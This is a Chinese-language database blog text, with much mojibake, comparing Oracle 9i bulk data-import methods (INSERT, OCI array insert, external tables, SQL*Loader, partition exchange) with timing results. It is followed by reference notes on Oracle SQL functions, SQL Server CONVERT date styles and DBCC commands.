每个数据库管理员都会面��数据导入的问题，�q�有可能发生在数据库的新老移植过�E�中�Q�或者是在数据库崩溃后的恢复重徏�q�程中，�q�有可能是在创徏��试数据库的模拟环境�q�程中，��M��作�ؓ一名合格的数据库管理员�Q�你应该做好接受各种数据导入��h��的技术储备，同时�q�要��量满��人本能的对导入速度的苛求。本文仅针对 Oracle 数据库所提供的加速数据导入的各种�Ҏ��和技术进行探讨，其中的一些方法也可以转化应用于其他数据库。以下七�U�数据导入方法哪个最适用需要针对具体情况具体分析，我也附带列�D了媄响导入速度的各�U�因素供斟酌。�ؓ了比较各�U�数据导入方法的效果�Q�我创徏了示例表和数据集�Q��ƈ用各�U�方法导入示例数据集来计��M��导入旉��和导入进�E�占�?CPU 旉��Q�这里得出的旉��仅供参考。需要说明的是，��你��?Oracle 9i 企业版数据库�Q�当然你也可以尝试��?Oracle 7.3 以上的标准版数据库。本文��用的机器配置为：CPU Intel P4�Q�内�?256M�Q�数据库 Oracle 9i 企业�?/font>

�C�Z��表结构和数据�?br>��Z��演示和比较各�U�数据导入方法，我假定数据导入�Q务是��外部文件数据导入到 Oracle 数据库的CALLS表中�Q�外部数据文件包含十万条呼叫中心记录�Q�将�q?6MB 的文件大��，具体的数据示例如�?

82302284384,2003-04-18:13:18:58,5001,投诉,手机三包�l�修质量82302284385,2003-04-18:13:18:59,3352,咨询,供水热线的号�?2302284386,2003-04-18:13:19:01,3142,��,增设公交�U��\
接受导入数据的表名是 CALLS�Q�表�l�构如下�Q?/font>

Name Null? Type Comment ------------ --------- ------------- ----------------- CALL_ID NOT NULL NUMBER Primary key CALL_DATE NOT NULL DATE Non-unique index EMP_ID NOT NULL NUMBER CALL_TYPE NOT NULL VARCHAR2(12) DETAILS VARCHAR2(25)

逐条数据插入INSERT
数据导入的最��单方法就是编�?INSERT 语句�Q�将数据逐条插入数据库。这�U�方法只适合导入��量数据�Q�如 SQL*Plus 脚本创徏某个表的�U�子数据。该�Ҏ��的最大缺点就是导入速度�~�慢�Q�占用了大量�?CPU 处理旉��Q�不适合大批量数据的导入�Q�而其主要优点��是导入构思简单又有修改完善的�Ҏ��，不需要多做其它的准备��可以��用。如果你有很多时间没法打发，又想折磨一下数据库�?CPU�Q�那�q�种�Ҏ��正适合你�?)
��Z��与其它方法做比较�Q�现��十万条记录通过此方法导入到 CALLS 表中�Q��d��消�?172 �U�，其中导入�q�程占用 CPU 旉��?52 �U��?/font>

逐条数据插入 INSERT�Q�表暂无索引
��Z��么上一�U�方法占用了较多�?CPU 处理旉��Q�关键是 CALLS 表中已创��Z��索引�Q�当一条数据插入到表中�Ӟ��Oracle 需要判别新数据与老数据在索引斚w��是否有冲�H�，同时要更新表中的所有烦引，重复更新索引会消耗一定的旉��。因此提高导入速度的好办法��是在创��时先不创建烦引或者在导入数据之前删除所有烦引，在外部文件数据逐条插入到表中后再统一创徏表的索引。这样导入速度会提高，同时创徏的烦引也很紧凑而有效，�q�一原则同样适用于位囄��引（Bitmap Index�Q�。对于主要的和唯一的关键约�?key constraints)�Q�可以��之先暂时失效(disabling)或者删除约束来获得同样的效果，当然�q�些做法会对已经存在的表的外键约束��生相关的影响�Q�在删除前需要通盘斟酌�?br> 需要说明的是，�q�种�Ҏ��在表中已存在很多数据的情况下不太合适。例如表中已有九千万条数据，而此旉��要追加插入一千万条数据，实际导入数据节省的时间将会被重新创徏一亿条数据的烦引所消耗殆��，�q�是我们不希望得到的�l�果。但是，如果要导入数据的表是�I�的或导入的数据量比已有的数据量要大得多�Q�那么导入数据节省的旉��会��量用于重新创徏索引�Q�这时该�Ҏ��才可以考虑使用�?br> 加快索引创徏是另一个需要考虑的问题。�ؓ了减��烦引创��Z��排序的工作时��_��可以在当前会话中增加 SORT_AREA_SIZE 参数的大��，该参数允许当前会话在内存的烦引创��E�中执行更多的排序操作。同栯��可以使用 NOLOGGING 关键字来减少因创建烦引而生成的 REDO 日志量，NOLOGGING 关键字会�Ҏ��据库的恢复和 Standby 备用数据库��生明昄��影响�Q�所以在使用之前要仔�l�斟酌，到底是速度优先�q�是�E�_��优先�?br>�q�用�q�种�Ҏ��Q�先删除 CALLS 表的主键和不唯一的烦引，然后逐条导入数据�Q�完成后重新创徏索引( 表在导入数据前是�I�的)。该�Ҏ��d��消�?130 �U�，包括重徏索引的时��_��其中导入�q�程占用 CPU 旉��?35�U��?br> �q�种�Ҏ��的优�Ҏ��可以加快导入的速度�q��索引更加紧凑有效�Q�缺�Ҏ��~�Z��通用性，当你对表增加新的复杂的模式元素（索引、外键等�Q�时你需要添加代码、修改导入执行程序。另外针�?7*24 在线要求的数据库在线导入操作�Ӟ��删除表的索引会对在线用户的查询有很大的性能影响�Q�同时也要考虑�Q�主要或唯一的关键约束条件的删除或失效可能会影响到引用它们的外键的��用�?/font>

扚w��插入�Q�表暂无索引
在Oracle V6 �?OCI �~�程接口加入了数�l�接口特性。数�l�操作允许导入程序读取外部文件数据�ƈ解析后，向数据库提交SQL语句�Q�批量插�?SQL 语句��索出的数据。Oracle 仅需要执行一��?SQL 语句�Q�然后在内存中批量解析提供的数据。批量导入操作比逐行插入重复操作更有效率�Q�这是因为只需一�ơ解�?SQL 语句�Q�一些数据绑订操作以及程序与数据库之间来回的操作都显著减��，而且数据库对每一条数据的操作都是重复可知的，�q�给数据库提供了优化执行的可能。其优点是数据导入的��M��旉��明显减少�Q�特别是�q�程占用 CPU 的时间�?br> 需要提醒的是，通过 OCI 接口��实可以执行数据扚w��导入操作�Q�但是许多工具和脚本语言却不支持使用此功能。如果要使用该方法，需要研�I�你所使用的开发工��h��否支�?OCI 扚w��操作功能。导入程序需要进行复杂的�~�码�q�可能存在错误的风险�Q�缺乏一定的�Ҏ��?br> �q�用上述�Ҏ��Q�程序将外部数据提取到内存中的数�l�里�Q��ƈ执行扚w��插入操作�Q?00�?�ơ）�Q�保留了表的删除/重徏索引操作�Q��ȝ��导入旉��下降�?14 �U�，而进�E�占�?CPU 的时间下降到7�U�，可见实际导入数据所��p��的时间显著下降了 95%�?/font>

CREATE TABLE AS SELECT�Q��用Oracle9i的External Table
Oracle 9i 的一��Ҏ��Ҏ��就�?External Table�Q�它��p��通常的数据库表一��P��拥有字段和数据类型约束，�q�且可以查询�Q�但是表中的数据却不存储在数据库中，而是在与数据库相兌��的普通外部文仉��。当你查�?External Table �Ӟ��Oracle ��解析该文�g�q�返回符合条件的数据�Q�就象该数据存储在数据库表中一栗��?br> 需要注意的是，你可以在查询语句中将 External Table 与数据库中其他表�q�行�q�接�Q�Join�Q�，但是不能�l?External Table 加上索引�Q��ƈ且不能插�?更新/删除数据�Q�毕竟它不是真正的数据库表。另外，如果与数据库相关联的外部文�g被改变或者被删除�Q�这会媄响到 External Table �q�回查询�l�果�Q�所以在变动前要先跟数据库打招呼�?br> �q�种�Ҏ��为导入数据打开了新的一扇门。你可以很容易的��外部文件与数据库相兌��Q��ƈ且在数据库中创徏对应�?External Table�Q�然后就可以立即查询数据�Q�就象外部数据已�l�导入到数据库表中一栗��唯一的不��需要明��，数据�q�未真正导入到数据库中，当外部文件被删除或覆盖时�Q�数据库��不能访�?External Table 里的数据�Q�而且索引没有被创建，讉K��数据速度��有所�~�慢。创�?CALLS_EXTERNAL�Q�External Table表）如下�Q��之与外部数据文�g兌��Q?br> CREATE TABLE calls_external (call_id NUMBER, call_date DATE, emp_id NUMBER, call_type VARCHAR2(12), details VARCHAR2(25)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY extract_files_dir ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL (call_id, call_date CHAR DATE_FORMAT DATE MASK "yyy-mm-dd:hh24:mi:ss", emp_id, call_type, details ) ) LOCATION ('calls.dat') );
然后��?External Table 与真正被使用的表 CALLS 兌��同步�Q�删�?CALLS 表�ƈ重徏它：

CREATE TABLE calls ( call_id NUMBER NOT NULL, call_date DATE NOT NULL, emp_id NUMBER NOT NULL, call_type VARCHAR2(12) NOT NULL, details VARCHAR2(25) ) TABLESPACE tbs1 NOLOGGING AS SELECT call_id, call_date, emp_id, call_type, details FROM calls_external;
因�ؓ CALLS 表是真正的数据库表，可以创徏索引来加快访问，表中的数据将被保留，即��外部数据文�g被更新或被删除。在��语句中NOLOGGING关键字用于加快烦引重建�?br> �q�用�q�种�Ҏ��导入数据�Q��ȝ��导入旉��?15 �U�，�q�程占用 CPU 的时间�ؓ8�U�，�q�比前一�U�方法稍微慢些，但不能就此认��Z��?External Table 导入数据一定比 OCI 扚w��插入慢�?br> �q�种�Ҏ��的优�Ҏ��Q�未�l�进行大量的�~�写代码��取得了不错的结果，不象 OCI 扚w��插入存在�~�码错误风险�Q�它�q�可以��?dbms_job 包调度数据导入进�E�，实现数据导入的自动化。其�~�点是目标表必须先删除后重徏�Q�如果只需要导入增量数据时此方法就不合适了�Q�另外用户在表的重徏�q�程中访问数据时会遇�?"table or view does not exist" 的错误，它仅适用�?Oracle 9i 以上版本的数据库�?/font>

INSERT Append as SELECT�Q��?Oracle9i �?External Table
上一�U�方法演�C�Z��如何创徏与外部数据文件关联的数据库表�Q�其表的数据是由外部数据文�g映射�q�来。缺�Ҏ��数据库表需要被先删除再重徏来保持与外部数据文�g的一致和同步�Q�对导入增量的数据而不需要删除已有数据的情况不合适。针对这�U�需求，Oracle 提供�?INSERT 语句外带 APPEND 提示来满��?br> INSERT /*+ APPEND */ INTO calls (call_id, call_date, emp_id, call_type, details) SELECT call_id, call_date, emp_id, call_type, details FROM calls_external;
该语句读取引用外部数据文件的 CALLS_EXTERNAL 表中内容�Q��ƈ��之增加到表 CALLS 中。Append 提示告诉 Oracle 使用快速机制来插入数据�Q�同时可以配合��用表�?NOLOGGING 关键字�?br> 可以预见�q�种�Ҏ��与前一�Ҏ��消耗了相同的时��_��毕竟它们是��?External Table �Ҏ��导入数据的不同阶段解决�Ҏ��。如果目标表不是�I�的�Q�那��会消耗稍微长的时��_��因�ؓ要重建更长的索引�Q�，而前一 CREATE TABLE as SELECT �Ҏ��是整体创建烦引�?/font>

SQL*Loader的强大功�?br> SQL*Loader �?Oracle 提供的导入实用程序，特别针对从外部文件导入大扚w��数据�q�入数据库表。该工具已经有多�q�的历史�Q�每一�ơ版本升�U�都使其更加强大、灵�z�d��快捷�Q�但遗憾的是它的语法却是��秘而不直观�Q��ƈ且只能从命��o行窗口处�q�行调用�?br> ��管它有不直观的�~�点�Q�但却是最快最有效的导入数据方法。缺省情况下它��?"conventional path" 常规选项来批量导入数据，其性能提高度�ƈ不明显。我��使用更快速的导入参数选项�Q�在命��o行添�?direct=true" 选项调用 "direct path" 导入选项。在 "direct path" 导入实现中，�E�序在数据库表的新数据块�?high water mark 处直接写入导入数据，�~�短了数据插入的处理旉��Q�同时优化��用了非常有效的B+二叉树方法来更新表的索引�?br> �q�用�q�种�Ҏ��Q�如果��用缺省的 conventional path 导入选项�Q��ȝ��导入旉��?81 �U�，�q�程占用 CPU 旉��大约�?12 �U�，�q�包括了更新表的索引旉��。如果��?direct path 导入选项�Q��ȝ��导入旉��竟是 9 �U�，�q�程占用 CPU 旉��也仅仅是 3 �U�，也包括了更新表的索引旉��?br> 由此可见�Q�尽��表中的索引在数据导入之前�ƈ没有被删除，使用SQL*Loader的direct path 导入选项仍然是快速和有效的。当然它也有�~�点�Q�就像NOLOGGING关键字一栯��Ҏ��不生成REDO日志数据�Q�导入进�E�出错后��无法恢复到先前状态；在数据导入过�E�中表的索引是不起作用的�Q�用��h��时访问该表时��出现迟�~�，当然在数据导入的�q�程中最好不要让用户讉K��表�?/font>

分区交换 (Partition Exchange)
     以上讨论的数据导入方法都有一个限�Ӟ��是要求用户在导入数据完成之后才可以讉K��数据库表。面�?×24不间断访问数据库来说�Q�如果我们只是导入需要增加的数据�Ӟ��q�种限制��对用户的实时访问��生媄响。Oracle在这斚w��提供了表分区功能�Q�它可以减少导入数据操作对用户实时访问数据的影响�Q�操作模式就象��用可热插拔的��盘一��P��只不�q�这里的��盘换成了分区（Partition�Q�而已。需要声明的�?Partitioning 分区功能只有在企业版数据库中才提供�?br>    在一个被分区�q�的表中�Q�呈现给用户的表是多个分区段�Q�segments�Q�的集合。分区可以在需要时被添加，在维护时被卸载或删除�Q�分��可以和数据库中的表交换数据，只要它们的表�l�构和字�D늱�型是一致的�Q�交换后的分��拥有与之互动的表的数据。需要注意的是，�q�种交换只是在Oracle数据库的数据字典层面上进行，�q�没有数据被实际�U�d��Q�所以分��交换是极其快速的�?br>    ��Z��创徏实验环境�Q�先假设CALLS表是个分��Q�要创徏一个空的分区PART_01012004�Q�用来保�?004�q?�?日的呼叫数据。然后需要再创徏一临时表�ؓCALLS_TEMP�Q�该表与CALLS表拥有相同的字段和数据类型�?br>    我们使用先前介绍的导入方法将十万条数据导入到CALLS_TEMP表中�Q�可以耐心�{�待数据完全导入到CALLS_TEMP表中�Q��ƈ且创建好索引和相关约束条�Ӟ��所有这一切操作�ƈ不媄响用户实时访问CALLS表，因�ؓ我们只对CALLS_TEMP临时表进行了操作。一旦数据导入完成，CALLS_TEMP表就存有2004�q?�?日的呼叫数据。同时利用CALLS表中名�ؓPART_01012004的空分区�Q��用如下语句执行分��Z��换：
        ALTER   TABLE   calls          EXCHANGE   PARTITION   part_01012004 WITH   TABLE calls_temp          INCLUDING   INDEXES   WITHOUT   VALIDATION;
     分区交换操作��非常快速地只更新CALLS表的数据字典�Q�PART_01012004分区表即��L��有CALLS_TEMP表的所有数据，而CALLS_TEMP表变为空表。假定CALLS表��用局部烦引而非全局索引�Q�上�q�语句中的INCLUDING INDEXES��保证分��Z��换包括烦引的可用性，WITHOUT VALIDATION 指明不检查交替表中数据的匚w��Q�加快了交换的速度�?/font>

�l�论
以上探讨了Oracle数据库的多种数据导入�Ҏ��Q�每�U�方法都有其优缺点和适用环境�Q�能够满��你不同的导入需求，当然你需要在了解了这些方法后�Q�在速度、简易性、灵�z�L��、可恢复性和数据可用性之间寻求最佛_��入方案�?/font>

��Z��Ҏ��各种�Ҏ��的效果，我们创徏了一个实例来展示各种�Ҏ��的导入效率和效果�Q�从中你可以选择最适合的方法用于今后的数据导入工作。同时请��C��Q�本文�ƈ未囊括所有的ORACLE数据导入技术（比如�q�行数据导入技术）�Q�这需要我们��l�不懈的探烦和尝试�?

数据导入�Ҏ�� M��导入旉��(�U? 导入�q�程占用CPU旉��(�U?
逐条数据插入INSERT 172   52
逐条数据插入INSERT�Q�表暂无索引 130   35
扚w��插入�Q�表暂无索引   14   7
Create As Select�Q��用Oracle9i的External Table 15 8
INSERT Append as SELECT�Q��用Oracle9i的External Table   15 8
SQL*Loader conventional path �~�省导入选项 81   12
SQL*Loader direct path 导入选项   9   3

数值函敎ͼ�
abs(m) m的绝对�?
mod(m,n) m被n除后的余�?
power(m,n) m的n�ơ方
round(m[,n]) m四舍五入臛_��数点后n位的��|��n�~�省�?�Q?
trunc(m[,n]) m截断n位小��C��的��|��n�~�省�?�Q?

字符函数�Q?
initcap(st) �q�回st��每个单词的首字母大写，所有其他字母小�?
lower(st) �q�回st��每个单词的字母全部��写
upper(st) �q�回st��每个单词的字母全部大写
concat(st1,st2) �q�回st为st2接st1的末��（可用操作�W?||"�Q?
lpad(st1,n[,st2]) �q�回叛_��齐的st,st为在st1的左边用st2填充直至长度为n,st2的缺省�ؓ�I�格
rpad(st1,n[,st2]) �q�回左对齐的st,st为在st1的右边用st2填充直至长度为n,st2的缺省�ؓ�I�格
ltrim(st[,set]) �q�回st,st��Z��左边删除set中字�W�直到第一个不是set中的字符。缺省时�Q�指的是�I�格
rtrim(st[,set]) �q�回st,st��Z��双��删除set中字�W�直到第一个不是set中的字符。缺省时�Q�指的是�I�格
replace(st,search_st[,replace_st]) ��每�ơ在st中出现的search_st用replace_st替换�Q�返回一个st。缺省时�Q�删除search_st
substr(st,m[,n]) n=�q�回st串的子串�Q�从m位置开始，取n个字�W�长。缺省时�Q�一直返回到st末端
length(st) 数��|��q�回st中的字符�?
instr(st1,st2[,m[,n]]) 数��|��q�回st1从第m字符开始，st2�W�n�ơ出现的位置�Q�m及n的缺省��gؓ1
例：
1.
select initcap('THOMAS'),initcap('thomas') from test;
initca initca
------ ------
Thomas Thomas
2.
select concat('abc','def') "first" from test;
first
-----
abcdef
3.
select 'abc'||' '||'def' "first" from test;
first
-----
abc def
4.
select lpad(name,10),rpad(name,5,'*') from test;
lpad(name,10) rpad(name,5,'*')
------------ ----------------
mmx mmx**
abcdef abcde
5.
��L��地址字段末端的点及单词st和rd
select rtrim(address,'. st rd') from test
6.
select name,replace(name,'a','*') from test;
name replace(name,'a','*')
---- ---------------------
great gre*t
7.
select substr('archibald bearisol',6,9) a,substr('archibald bearisol',11) b from test;
a b
------- -------
bald bear bearisol
8.
select name,instr(name,' ') a,instr(name,' ',1,2) b from test;
name a b
------- -------- ---------
li lei 3 0
l i l 2 4

转换函数�Q?
nvl(m,n) 如果m��gؓnull,�q�回n,否则�q�回m
to_char(m[,fmt]) m从一个数��D�{换�ؓ指定格式的字�W�串fmt�~�省�Ӟ��fmt值的宽度正好能容�U�x��有的有效数字
to_number(st[,fmt]) st从字�W�型数据转换成按指定格式的数��|��~�省时数值格式串的大��正好�ؓ整个�?
附：
to_char()函数的格式：
---------------------------------
�W�号说明
---------------------------------
9 每个9代表�l�果中的一位数�?
0 代表要显�C�的先导0
$ ��元�W�号打印在数的左�?
L ��L��的当地货币符�?
. 打印十进制的��数�?
, 打印代表千分位的逗号
---------------------------------
例：
1.
select to_number('123.45')+to_number('234.56') form test;
to_number('123.45')+to_number('234.56')
----------------------------------------
358.01
2.
select to_char(987654321) from test;
to_char(987654321)
------------------
987654321
3.
select to_char(123,'$9,999,999') a,to_char(54321,'$9,999,999') b,to_char(9874321,'$9,999,999') c from test;
a b c
------- ---------- -----------
$123 $54,321 $9,874,321
4.
select to_char(1234.1234,'999,999.999') a,to_char(0.4567,'999,999.999') b,to_char(1.1,'999,999.999') from test;
a b c
--------- ---------- ------------
1,234.123 .457 1.100

分组函数�Q?
avg([distinct/all] n) 列n的��^均�?
count([all] *) �q�回查询范围内的行数包括重复值和�I��?
count([distinct/all] n) 非空值的行数
max([distinct/all] n) 该列或表辑ּ�的最大�?
min([distinct/all] n) 该列或表辑ּ�的最��?
stdev([distinct/all] n) 该列或表辑ּ�的标准偏差，忽略�I��?
sum([distinct/all] n) 该列或表辑ּ�的��d��
variance([distinct/all] n) 该列或表辑ּ�的方差，忽略�I��?

日期函数�Q?
add_months(d,n) 日期d加n个月
last_day(d) 包含d的月份的最后一天的日期
month_between(d,e) 日期d与e之间的月份数�Q�e先于d
new_time(d,a,b) a时区的日期和旉��d在b时区的日期和旉��
next_day(d,day) 比日期d晚，由day指定的周几的日期
sysdate 当前的系�l�日期和旉��
greatest(d1,d2,...dn) �l�出的日期列表中最后的日期
least(d1,k2,...dn) �l�出的日期列表中最早的日期
to_char(d [,fmt]) 日期d按fmt指定的格式�{变成字符�?
to_date(st [,fmt]) 字符串st按fmt指定的格式�{成日期��|��若fmt忽略�Q�st要用�~�省格式
round(d [,fmt]) 日期d按fmt指定格式舍入到最�q�的日期
trunc(d [,fmt]) 日期d按fmt指定格式截断到最�q�的日期
附：
日期格式�Q?
�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－
格式代码　说明举例或可取值的范围
�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－
DD 该月某一�?1�Q?
DY 　　　三个大写字母表示的周�?SUN�Q?..SAT
DAY 　　　完整的周几，大写英文 SUNDAY�Q?..SATURDAY
MM 月䆾 1�Q?2
MON　　　　　三个大写字母表示的月�?JAN�Q?..DEC
MONTH 完整 JANUARY,...DECEMBER
RM 月䆾的罗马数�?I,...XII
YY或YYYY 两位�Q�四位数字年
HH:MI:SS　　　�Ӟ��分：�U?
HH12或HH24　　�?2��时�?4��时昄��
MI　　　　　　�?
SS　　　　　　�U?
AM或PM　　　　上下午指�C�符
SP　　　　　　后缀SP要求拼写��Z�Q何数值字�D?
TH　　　　　　后缀TH表示��d��的数字是序数　4th,1st
FM 前缀�Ҏ��或日或年��|��止填充
�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q?
例：
1.
下一个周五的日期
select next_day(sysdate,6) from test;
2.
两个月前的今天的日期
select add_months(sysdate,-2) from test;

☜♥☞MengChuChen 2007-04-13 09:02 发表评论

SQL Server 日期格式转换(Convert用法)DBCC命��o详解

☜♥☞MengChuChen — Fri, 13 Apr 2007 00:31:00 GMT

SQL Server 日期格式转换(Convert用法

SQL Server中，Convert可以��日期�{换成不同格式�Q�格式控制是由CONVERT (data_type[(length)], expression [, style])中的style来完成的。下面列��Z��style取各�U�值时的效果：

在表中，左侧的两列表�C�将 datetime �?smalldatetime 转换为字�W�数据的 style 倹{��给 style 值加 100�Q�可获得包括世纪��C��的四位年�?(yyyy)�?/p>

不带世纪��C�� (yy)	带世�U�数�?(yyyy)	标准	输入/输出**
-	0 �?100 (*)	默认�?/td>	mon dd yyyy hh:miAM�Q�或 PM�Q?/td>
1	101	��国	mm/dd/yyyy
2	102	ANSI	yy.mm.dd
3	103	英国/法国	dd/mm/yy
4	104	德国	dd.mm.yy
5	105	意大�?/td>	dd-mm-yy
6	106	-	dd mon yy
7	107	-	mon dd, yy
8	108	-	hh:mm:ss
-	9 �?109 (*)	默认�?+ 毫秒	mon dd yyyy hh:mi:ss:mmmAM�Q�或 PM�Q?/td>
10	110	��国	mm-dd-yy
11	111	日本	yy/mm/dd
12	112	ISO	yymmdd
-	13 �?113 (*)	�Ƨ洲默认�?+ 毫秒	dd mon yyyy hh:mm:ss:mmm(24h)
14	114	-	hh:mi:ss:mmm(24h)
-	20 �?120 (*)	ODBC 规范	yyyy-mm-dd hh:mm:ss[.fff]
-	21 �?121 (*)	ODBC 规范�Q�带毫秒�Q?/td>	yyyy-mm-dd hh:mm:ss[.fff]
-	126(***)	ISO8601	yyyy-mm-dd Thh:mm:ss:mmm�Q�不含空��\|��
-	130*	�U�威�?/td>	dd mon yyyy hh:mi:ss:mmmAM
-	131*	�U�威�?/td>	dd/mm/yy hh:mi:ss:mmmAM

* 默认��|��style 0 �?100�? �?109�?3 �?113�?0 �?120�?1 �?121�Q�始�l�返回世�U�数�?(yyyy)�?br>** 当�{换�ؓ datetime 时输入；当�{换�ؓ字符数据时输出�?br>*** 专门用于 XML。对于从 datetime �?smalldatetime �?character 数据的�{换，输出格式如表中所�C�。对于从 float�?strong>money �?smallmoney �?character 数据的�{换，输出�{�同�?style 2。对于从 real �?character 数据的�{换，输出�{�同�?style 1�?/p>

重要默认情况下，SQL Server �Ҏ��截止�q�䆾 2049 解释两位数字的年份。即�Q�两位数字的�q�䆾 49 被解释�ؓ 2049�Q�而两位数字的�q�䆾 50 被解释�ؓ 1950。许多客��L��应用�E�序�Q�例如那些基�?OLE 自动化对象的客户端应用程序）都��?2030 作�ؓ截止�q�䆾。SQL Server 提供一个配�|�选项�Q?两位数字的截止年�?�Q�，借以更改 SQL Server 所使用的截止年份�ƈ�Ҏ��期进行一致性处理。然而最安全的办法是指定四位数字�q�䆾�?/p>

当从 smalldatetime 转换为字�W�数据时�Q�包含秒或毫�U�的样式��在�q�些位置上显�C�零。当�?datetime �?smalldatetime ��D��行�{换时�Q�可以通过使用适当�?char �?varchar 数据�c�d��长度来截断不需要的日期部分�?/p>

如果惛_��掉字�W�串中的分隔�W�，可以用replace函数。比如：replace(replace(replace(replace(convert(varchar(30),getdate(),121),'-',''),' ',''),':',''),'.','')

DBCC命��o详解

我们知道�Q�在数据库系�l�的开发和应用中，必须保证数据库的完整性和一致性�?

当数据库出现了严重错误；当我们怀疑数据库受到破坏�Q�如无法用drop命��o删除数据库或对象�Q��用某个表时出�?#8220;不可靠数�?#8221;的信息等�Q�；当用��h��变了Server的缺省排序的��序或改变了字符集而需要检查；当SA对系�l�做定期��查；�q�些时候，我们都需要��用数据库一致性检查工��P��Database Consistenecy Checker�Q�简�U�DBCC�Q�。DBCC是一个实用命令集�Q�用来检查一个数据库的逻辑一致性及物理一致性。在开发和应用中，DBCC是我们经常要使用的命令�?

　　DBCC命��o的格式如�?nbsp;

dbcc
(checktable ((表名|表标�? [, skip_ncindex] ) |
checkdb [(数据库名[, skip_ncindex] )] |
checkalloc [ (数据库名[, fix | nofix] )] |
tablealloc( {表名|表标识}
[�Q�{full |optimized |fast |null}
[, fix |nofix] ]]) |
indexalloc ( {表名|表标识}�Q�烦引标�?br>[�Q�{full |optimezed | fast | null}
[, fix |nofix ]] ) |
checkcatalog [ (数据库名)] |
dbrepair(数据库名,dropdb ) |
reindex({表名|表标识} ) |
fix_text({表名|表标�? }

　　dbcc的权限，对于checktable,fix_text和reindex是缺省赋�l�表的属主，对于checkdb,checkalloc�Q�checkcatalog,dbrepair�Q�indexalloc和tablealloc�Q�是�~�省赋给数据库属�ȝ��。DBO自动获得DBCC命��o和全部选项的权限。该权限不可转授。此外，dbcc在数据库是活动时�q�行�Q�除了dbrepair选项和带有fix选项的dbcc checkalloc以外�?

　　checktable选项

　　checktable是用来对一个指定的表做��查，��保索引和数据页正确地连接，索引按正��的��序存储�Q�所有指针的一致性，每页上数据信息的合理性，��偏�Uȝ��合理性。如果日志段在它自己的（日志�Q�设备上�Q�对syslogs表��用dbcc checktable命��o可以报告已��用的和剩余的日志�I�间�Q��用skip_ncindex选项使得dbcc checktable跌��对用戯��上非聚簇索引�Q�nonclustered index�Q�的��查。缺省是��查所有的索引�?

　　例１.��查日志��用的�I�间量和未用的空间量�Q?

dbcc checktable (syslogs)

　　若日志段在日志设备上�Q�则会返回如下信息：

checking syslogs
The total number of data page in the table is 1.
NOTICE:Space used on the log segment is 0.20 Mbytes, 0.13%.
NOTICE:Space free on the log segment is 153.4Mbytes,99.87%.
DBCC execution Completed.If dbcc printed error messages,
Contact a user with SA role.

　　若日志不在它自己的设备上�Q�则会显�C�Z��列信息：

NOTICE:Notification of log space used/free.
Can not be reported because the log segment is not on its own device.
�?. dbcc checktable (titles)
The total number of data page in this table is 3.
Table has 18 data rows.
DBCC execution Completed. If DBCC printed error messages. contact a user with SA role.

　　checkdb选项

　　�q�行checkdb选项同checktable��查的内容一��P��但它是对一指定数据库中的每张表都做�q�样的检查。若未指定数据库名，checkdb��查当前的数据库。checkdb�q�回的信息，也同于checktable�?

　　checkalloc选项

　　checkalloc是检查指定数据库�Q�看其所有正��分配的��和��未分配的页的情��c��若未指定数据库名，则checkalloc��查当前数据库。checkalloc会返回已分配的和使用的空间数量。checkalloc的缺省模式�ؓnofix�Q�要使用fix选项�Q�必��L��数据库置于单用户模式�?

　例：

dbcc checkalloc (pubs2)
.
.
.
alloc page 0 (#of extent=32 used pages=68 ref pages=68)
alloc page 256 (# of extent=32 used pages=154 ref pages=154)
alloc page 512 (# of extent=28 used pages=184 ref pages=184)
alloc page 768 (# of extent=1 used pages=1 ref pages=1)
total (# of extent=93 used pages=407 ref pages=407) in this database.
DBCC execution completed.If dbcc printed error message,
Contact a user with System Adminstrator (SA) role.

　　tablealloc选项

　　tablealloc��查指定的表以��保所有页都被正确地分配。它是checkalloc的羃��版本。对单张表进行相同的完整性检查。��用tablealloc可以生成三种�c�d��的报表：full,optimized和fast。full选项相当于表一�U�的checkalloc�Q�它报告各种�c�d��的分配错误。optimized选项��Z��表的对象分配映像�Q�OAM�Q�页里列出的分配��는�成报告。它�q�不报告�Q�也不能整理OAM��里没有列出的在分配��上没有引用的扩展（extent�Q�。如果没有指明类型，或��用了null�Q�则optimized选项是缺省的讄��。fast选项�Q��ƈ不生成分配报告，但生成一个被引用但�ƈ没有在扩展里分配的页的额外的报告。fix|nofix选项军_��tablealloc 是否整理表中发现的分配错误。对于所有的表，�~�省为fix�Q�但�pȝ��表除外，它们的缺省�ؓnofix。要对系�l�表使用fix选项�Q�必��首先将数据库置成单用户模式�?

例：

dbcc tablealloc(titles)
昄��信息如下�Q?
The default report option of OPTIMIZED is used for this run. The default fix option of FIX.is used for this run.
.
.
.
Total #of extent=3
Alloc page 256 (# of extent=1 used pages=2 ref pages=2).
Alloc page 256(# of extent=1 used pages=2 ref pages=2)
Alloc page 256 (# of extent=1 used pages=2 ref pages=2)
Total (# of extent=3 used pages=8 ref pages=8) in this database.

　　indexalloc 选项

　　indexalloc��查指定的索引�Q�确保所有的��都被正��地分配�Q�它是checkalloc的羃��版本，对单独一条烦引指定同��L��完整性检查。其中各选项与tablealloc相同�?

　　checkcatalog选项

　　checkcatalog选项用于��查系�l�表内，�pȝ��表之间的一致性。例如：它确保在syscolumns表中的每一�Q�数据）�c�d��在systypes表中都有一个相匚w��的记录；对于sysobjects中的每个表和视图在syscolumns表中应有关于它们每一列的描述记录�Q�确保在syslogs中的最后一个检查点是有效的。checkcatalog也报告�Q何已定义的段。若不指定数据库名，则检查当前数据库�?

　　dbrepair选项

　　dbrepair�Q�数据库名，dropdb�Q�选项是删除一个受破坏的数据库。受破坏的数据库是不能用drop database命��o删除的，drop database只能删除正常的数据库�Q�当执行dbrepair命��o�Ӟ��M��用户�Q�包括执行此命��o的用��P��都不得��用正被删除的数据库。该选项要在master库中�q�行�?

　　reindex选项

　　reindex选项通过�q�行dbcc checktable�?#8220;fast”执行方式��查用戯��上烦引的完整性。如果它��出索引有问题则会删除�ƈ重徏索引。在SQL Server的排列顺序改变之后，SA或表属主应该执行�q�一选项。此选项不能在用户定义的事务中运行�?

